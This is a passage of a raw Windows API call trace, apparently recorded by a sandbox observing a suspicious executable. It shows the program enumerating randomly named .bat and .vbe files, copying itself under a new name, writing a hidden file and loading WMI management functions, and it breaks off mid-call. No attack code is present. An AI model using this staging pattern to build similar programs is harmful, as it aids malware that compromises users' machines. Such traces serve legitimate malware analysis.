lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd390980, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd390980, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="chainsavesref.exe", cAlternateFileName="CHAINS~1.EXE")) returned 1 [0118.542] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2f8400, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd2f8400, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x525af602, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLLiR59GMmL352HHbgfc.bat", cAlternateFileName="DLLIR5~1.BAT")) returned 1 [0118.542] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd428f00, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd428f00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x5267a017, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="et1pu6VAlkUOY7GuC90A.vbe", cAlternateFileName="ET1PU6~1.VBE")) returned 1 [0118.542] FindNextFileW (in: hFindFile=0x1a961c60, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd428f00, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd428f00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x5267a017, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="et1pu6VAlkUOY7GuC90A.vbe", cAlternateFileName="ET1PU6~1.VBE")) returned 0 [0118.542] FindClose (in: hFindFile=0x1a961c60 | out: hFindFile=0x1a961c60) returned 1 [0118.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0118.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0118.545] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\whatever_only.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\whatever_only.exe", lpFilePart=0x0) returned 0x2d [0118.546] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0118.546] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\whatever_only.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\whatever_only.exe", lpFilePart=0x0) returned 0x2d [0118.546] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe"), bFailIfExists=0) returned 1 [0118.670] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\c34a7c10ac282e", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\c34a7c10ac282e", lpFilePart=0x0) returned 0x2a [0118.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0118.671] CreateFileW (lpFileName="C:\\comproviderRuntimecommon\\c34a7c10ac282e" (normalized: "c:\\comproviderruntimecommon\\c34a7c10ac282e"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2ec [0118.671] GetFileType (hFile=0x2ec) returned 0x1 [0118.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0118.671] GetFileType (hFile=0x2ec) returned 0x1 [0118.677] WriteFile (in: hFile=0x2ec, lpBuffer=0x276ca38*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x276ca38*, lpNumberOfBytesWritten=0x1bb7e978*=0x142, lpOverlapped=0x0) returned 1 [0118.678] CloseHandle (hObject=0x2ec) returned 1 [0119.388] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2ec [0119.392] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0119.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1bb7d020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0119.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1bb7d620, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll¨'\x11\x09å", lpUsedDefaultChar=0x0) returned 65 [0119.425] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7fef4210000 [0121.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1bb7d660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0121.024] GetProcAddress (hModule=0x7fef4210000, lpProcName="ResetSecurity") returned 0x7fef4214310 [0121.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1bb7d660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurityðþ\x07", lpUsedDefaultChar=0x0) returned 11 [0121.138] GetProcAddress (hModule=0x7fef4210000, lpProcName="SetSecurity") returned 0x7fef4214390 [0121.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1bb7d650, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesv\x02", lpUsedDefaultChar=0x0) returned 18 [0121.154] GetProcAddress (hModule=0x7fef4210000, lpProcName="BlessIWbemServices") returned 0x7fef4212840 [0121.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1bb7d650, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject°{²ðþ\x07", lpUsedDefaultChar=0x0) returned 24 [0121.188] GetProcAddress (hModule=0x7fef4210000, lpProcName="BlessIWbemServicesObject") returned 0x7fef4212900 [0121.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1bb7d650, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandleñv\x02", lpUsedDefaultChar=0x0) returned 17 [0121.216] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetPropertyHandle") returned 0x7fef42138c0 [0121.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1bb7d650, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValuev\x02", lpUsedDefaultChar=0x0) returned 18 [0121.243] GetProcAddress (hModule=0x7fef4210000, lpProcName="WritePropertyValue") returned 0x7fef4214650 [0121.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1bb7d660, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0121.259] GetProcAddress (hModule=0x7fef4210000, lpProcName="Clone") returned 0x7fef42129c0 [0121.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1bb7d650, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0121.276] GetProcAddress (hModule=0x7fef4210000, lpProcName="VerifyClientKey") returned 0x7fef4214530 [0121.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x1bb7d650, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0121.283] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetQualifierSet") returned 0x7fef4213a40 [0121.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x1bb7d660, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get\x02", lpUsedDefaultChar=0x0) returned 3 [0121.286] GetProcAddress (hModule=0x7fef4210000, lpProcName="Get") returned 0x7fef4213480 [0121.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x1bb7d660, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put\x02", lpUsedDefaultChar=0x0) returned 3 [0121.394] GetProcAddress (hModule=0x7fef4210000, lpProcName="Put") returned 0x7fef4213c10 [0121.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x1bb7d660, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete", lpUsedDefaultChar=0x0) returned 6 [0121.414] GetProcAddress (hModule=0x7fef4210000, lpProcName="Delete") returned 0x7fef4212ff0 [0121.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x1bb7d660, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames°{²ðþ\x07", lpUsedDefaultChar=0x0) returned 8 [0121.424] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetNames") returned 0x7fef42137f0 [0121.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x1bb7d650, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration0öv\x02", lpUsedDefaultChar=0x0) returned 16 [0121.904] GetProcAddress (hModule=0x7fef4210000, lpProcName="BeginEnumeration") returned 0x7fef42127b0 [0121.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x1bb7d660, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next", lpUsedDefaultChar=0x0) returned 4 [0121.912] GetProcAddress (hModule=0x7fef4210000, lpProcName="Next") returned 0x7fef4213b30 [0121.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x1bb7d660, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration", lpUsedDefaultChar=0x0) returned 14 [0121.934] GetProcAddress (hModule=0x7fef4210000, lpProcName="EndEnumeration") returned 0x7fef4213150 [0121.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x1bb7d650, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0121.942] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetPropertyQualifierSet") returned 0x7fef42139e0 [0121.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1bb7d660, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0121.966] GetProcAddress (hModule=0x7fef4210000, lpProcName="Clone") returned 0x7fef42129c0 [0121.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x1bb7d660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText\x07", lpUsedDefaultChar=0x0) returned 13 [0121.966] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetObjectText") returned 0x7fef4213860 [0121.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x1bb7d650, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassøv\x02", lpUsedDefaultChar=0x0) returned 17 [0121.977] GetProcAddress (hModule=0x7fef4210000, lpProcName="SpawnDerivedClass") returned 0x7fef4214420 [0121.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x1bb7d660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x07", lpUsedDefaultChar=0x0) returned 13 [0121.987] GetProcAddress (hModule=0x7fef4210000, lpProcName="SpawnInstance") returned 0x7fef4214480 [0121.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x1bb7d660, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo{²ðþ\x07", lpUsedDefaultChar=0x0) returned 9 [0121.989] GetProcAddress (hModule=0x7fef4210000, lpProcName="CompareTo") returned 0x7fef4212b30 [0121.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x1bb7d650, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginúv\x02", lpUsedDefaultChar=0x0) returned 17 [0121.999] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetPropertyOrigin") returned 0x7fef4213980 [0122.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x1bb7d660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromþ\x07", lpUsedDefaultChar=0x0) returned 12 [0122.015] GetProcAddress (hModule=0x7fef4210000, lpProcName="InheritsFrom") returned 0x7fef4213a80 [0122.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x1bb7d660, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod{²ðþ\x07", lpUsedDefaultChar=0x0) returned 9 [0122.017] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetMethod") returned 0x7fef42136c0 [0122.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x1bb7d660, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod{²ðþ\x07", lpUsedDefaultChar=0x0) returned 9 [0122.032] GetProcAddress (hModule=0x7fef4210000, lpProcName="PutMethod") returned 0x7fef4213f30 [0122.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x1bb7d660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethodþ\x07", lpUsedDefaultChar=0x0) returned 12 [0122.044] GetProcAddress (hModule=0x7fef4210000, lpProcName="DeleteMethod") returned 0x7fef4213030 [0122.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x1bb7d650, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration", lpUsedDefaultChar=0x0) returned 22 [0122.046] GetProcAddress (hModule=0x7fef4210000, lpProcName="BeginMethodEnumeration") returned 0x7fef42127f0 [0122.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x1bb7d660, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethod²ðþ\x07", lpUsedDefaultChar=0x0) returned 10 [0122.048] GetProcAddress (hModule=0x7fef4210000, lpProcName="NextMethod") returned 0x7fef4213ba0 [0122.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x1bb7d650, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration", lpUsedDefaultChar=0x0) returned 20 [0122.066] GetProcAddress (hModule=0x7fef4210000, lpProcName="EndMethodEnumeration") returned 0x7fef4213180 [0122.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x1bb7d650, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet", lpUsedDefaultChar=0x0) returned 21 [0122.068] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetMethodQualifierSet") returned 0x7fef4213790 [0122.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x1bb7d650, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0122.070] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetMethodOrigin") returned 0x7fef4213730 [0122.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x1bb7d650, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Getàþv\x02", lpUsedDefaultChar=0x0) returned 16 [0122.072] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_Get") returned 0x7fef4214050 [0122.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x1bb7d650, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_PutXÿv\x02", lpUsedDefaultChar=0x0) returned 16 [0122.095] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_Put") returned 0x7fef4214180 [0122.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x1bb7d650, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete\x02", lpUsedDefaultChar=0x0) returned 19 [0122.112] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_Delete") returned 0x7fef4213fe0 [0122.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x1bb7d650, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames", lpUsedDefaultChar=0x0) returned 21 [0122.114] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_GetNames") returned 0x7fef42140c0 [0122.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x1bb7d650, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration\x07", lpUsedDefaultChar=0x0) returned 29 [0122.131] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_BeginEnumeration") returned 0x7fef4213fa0 [0122.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x1bb7d650, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next\x01w\x02", lpUsedDefaultChar=0x0) returned 17 [0122.133] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_Next") returned 0x7fef4214120 [0122.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x1bb7d650, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumerationðþ\x07", lpUsedDefaultChar=0x0) returned 27 [0122.148] GetProcAddress (hModule=0x7fef4210000, lpProcName="QualifierSet_EndEnumeration") returned 0x7fef4214020 [0122.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x1bb7d650, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0122.150] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetCurrentApartmentType") returned 0x7fef4213a40 [0122.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x1bb7d650, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub", lpUsedDefaultChar=0x0) returned 20 [0122.155] GetProcAddress (hModule=0x7fef4210000, lpProcName="GetDemultiplexedStub") returned 0x7fef42134f0 [0122.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x1bb7d650, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi", lpUsedDefaultChar=0x0) returned 21 [0122.161] GetProcAddress (hModule=0x7fef4210000, lpProcName="CreateInstanceEnumWmi") returned 0x7fef4212ea0 [0122.417] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7d5b8 | out: phkResult=0x1bb7d5b8*=0x2fc) returned 0x0 [0122.417] RegQueryValueExW (in: hKey=0x2fc, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x1bb7d5f8, lpData=0x0, lpcbData=0x1bb7d5f0*=0x0 | out: lpType=0x1bb7d5f8*=0x0, lpData=0x0, lpcbData=0x1bb7d5f0*=0x0) returned 0x2 [0122.418] RegCloseKey (hKey=0x2fc) returned 0x0 [0122.419] IUnknown:Release (This=0x1a943398) returned 0x0 [0122.623] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1bb7df08 | out: lpiid=0x1bb7df08) returned 0x0 [0122.633] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a994d50) returned 0x0 [0124.000] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a994d50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0124.133] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a994d50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a97f250) returned 0x0 [0124.134] WbemDefPath:IUnknown:Release (This=0x1a994d50) returned 0x0 [0124.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a97f250) returned 0x0 [0124.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0124.150] WbemDefPath:IUnknown:AddRef (This=0x1a97f250) returned 0x3 [0124.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0124.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0124.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, 